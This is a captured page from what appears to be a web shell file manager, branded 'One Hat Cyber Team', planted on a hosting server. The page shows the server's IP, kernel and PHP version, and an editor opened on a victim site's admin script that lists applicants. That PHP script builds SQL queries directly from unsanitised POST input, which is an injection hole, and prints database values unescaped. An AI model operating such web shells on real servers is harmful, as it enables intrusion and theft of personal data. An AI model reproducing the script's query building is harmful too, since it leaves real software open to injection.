One Hat Cyber Team
Your IP :
216.73.216.84
Server IP :
50.6.229.107
Server :
Linux server.hostburly.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.2.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
andjemzt
/
nportal.andjemztech.com
/
examAdmin
/
Edit File:
view_app_old.php
<? include("inc/header.php"); include("inc/fxn.php"); include("search_form1.php"); ?> <link rel="stylesheet" href="pagination_css.css" type="text/css" /> <p style="background-color:#CCC; width:180px; height:20px;"><strong>INTENDING APPLICANTS</strong></p> <table cellspacing="0" cellpadding="5" class="mytable" border="1" width="100%"> <th>S/No</th><th>Names</th><th>School</th><th>State</th><th>NSE Branch</th> <? if($_POST['uni']){ $uni=$_POST['uni']; $uni="AND school='$uni'"; } $sql2="SELECT * FROM stud_mem_reg WHERE reg_type='3' AND processing='0' $uni"; $adjacents = 2; $result2=mysql_query($sql2); $total_pages=mysql_num_rows($result2); $targetpage = "view_app.php"; //your file name (the name of this file) $limit = 30; $page = $_GET['page']; if($page) $start = ($page - 1) * $limit; //first item to display on this page else $start = 0; $sql22="SELECT * FROM stud_mem_reg WHERE reg_type='3' $uni ORDER BY school ASC LIMIT $start,$limit"; $result22 = mysql_query($sql22) or die(mysql_error()); $count22=mysql_num_rows($result22); if ($page == 0) $page = 1; //if no page var is given, default to 1. $prev = $page - 1; //previous page is page - 1 $next = $page + 1; //next page is page + 1 $lastpage = ceil($total_pages/$limit); //lastpage is = total pages / items per page, rounded up. $lpm1 = $lastpage - 1; //last page minus 1 $pagination = ""; if($lastpage > 1) { $pagination .= "<div class=\"pagination\">"; if ($page > 1) $pagination.= "<a href=\"$targetpage?page=$prev&search2=$search\">« previous</a>"; else $pagination.= "<span class=\"disabled\">« previous</span>"; //pages if ($lastpage < 7 + ($adjacents * 2)) //not enough pages to bother breaking it up { for ($counter = 1; $counter <= $lastpage; $counter++) { if ($counter == $page) $pagination.= "<span class=\"current\">$counter</span>"; else $pagination.= "<a href=\"$targetpage?page=$counter&search2=$search\">$counter</a>"; } } elseif($lastpage > 5 + ($adjacents * 2)) //enough pages to hide some { //close to beginning; only hide later pages if($page < 1 + ($adjacents * 2)) { for ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++) { if ($counter == $page) $pagination.= "<span class=\"current\">$counter</span>"; else $pagination.= "<a href=\"$targetpage?page=$counter&search2=$search\">$counter</a>"; } $pagination.= "..."; $pagination.= "<a href=\"$targetpage?page=$lpm1\">$lpm1</a>"; $pagination.= "<a href=\"$targetpage?page=$lastpage\">$lastpage</a>"; } //in middle; hide some front and some back elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2)) { $pagination.= "<a href=\"$targetpage?page=1&search2=$search\">1</a>"; $pagination.= "<a href=\"$targetpage?page=2&search2=$search\">2</a>"; $pagination.= "..."; for ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++) { if ($counter == $page) $pagination.= "<span class=\"current\">$counter</span>"; else $pagination.= "<a href=\"$targetpage?page=$counter&search2=$search\">$counter</a>"; } $pagination.= "..."; $pagination.= "<a href=\"$targetpage?page=$lpm1\">$lpm1</a>"; $pagination.= "<a href=\"$targetpage?page=$lastpage\">$lastpage</a>"; } //close to end; only hide early pages else { $pagination.= "<a href=\"$targetpage?page=1\">1</a>"; $pagination.= "<a href=\"$targetpage?page=2\">2</a>"; $pagination.= "..."; for ($counter = $lastpage - (2 + ($adjacents * 2)); $counter <= $lastpage; $counter++) { if ($counter == $page) $pagination.= "<span class=\"current\">$counter</span>"; else $pagination.= "<a href=\"$targetpage?page=$counter&search2=$search\">$counter</a>"; } } } //next button if ($page < $counter - 1) $pagination.= "<a href=\"$targetpage?page=$next&search2=$search\">next »</a>"; else $pagination.= "<span class=\"disabled\">next »</span>"; $pagination.= "</div>\n"; } $sno=0; while ($row=mysql_fetch_array($result22)){ $sno++; $surname=$row['surname']; $othernames=$row['othernames']; $fullnames="$surname $othernames"; $school_name=GetAny("universities",$row['school'],"id","name"); $state_id=GetAny("universities",$row['school'],"id","state_id"); $state_name=GetAny("state",$state_id,"stateid","state_name"); $branch_id=GetAny("universities",$row['school'],"id","branch_id"); $branch_name=GetAny("branch",$branch_id,"branchid","branch_name"); $clear_id=$row['clear_id']; ?> <tr id="myrow"> <td><? echo $sno ?></td><td><? echo $fullnames ?></td><td><? echo $school_name ?></td><td><? echo $state_name ?></td><td><? echo $branch_name ?></td> </tr> <? } ?> <? echo $pagination?> </table> <? include("inc/footer.php"); ?>
Simpan